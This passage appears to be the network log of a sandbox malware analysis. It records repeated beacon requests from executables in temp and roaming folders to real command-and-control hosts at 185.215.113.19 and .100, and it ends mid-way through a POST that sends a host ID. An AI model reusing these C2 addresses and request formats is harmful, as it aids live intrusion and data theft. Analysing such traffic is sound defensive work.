9	192.168.2.4	49751	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:19.067363977 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:19.763962984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:19.767575026 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:20.018601894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:20.158010006 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:20.917620897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:20.978605032 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:21.230146885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49764	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:21.402930975 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:22.130810976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:22.132066965 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:22.529544115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49772	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:23.199054956 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:23.937206984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:23.941746950 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:24.187208891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49780	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:24.294864893 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:25.052555084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:25.053211927 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:25.302159071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49786	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:25.995481014 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:26.746041059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:26.746860027 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:26.996964931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49790	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:27.117846012 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:27.887613058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:27.888940096 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:28.140192986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49791	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:28.278913975 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:29.020405054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:29.021249056 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:29.268686056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49792	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:29.391113997 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:30.155173063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:30.158119917 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:30.412601948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49793	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:30.609977961 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:31.328572035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:31.329440117 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:31.577060938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49794	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:31.690321922 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:32.429122925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:32.430210114 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:32.676093102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49795	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:32.782654047 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:33.550405979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:33.551197052 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:33.797305107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49796	185.215.113.100	80	7996	C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:33.614711046 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 05:09:34.354538918 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:34.395342112 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEG Host: 185.215.113.100 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 41 41 32 42 32 35 46 34 34 36 33 36 38 32 32 34 35 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 2d 2d 0d 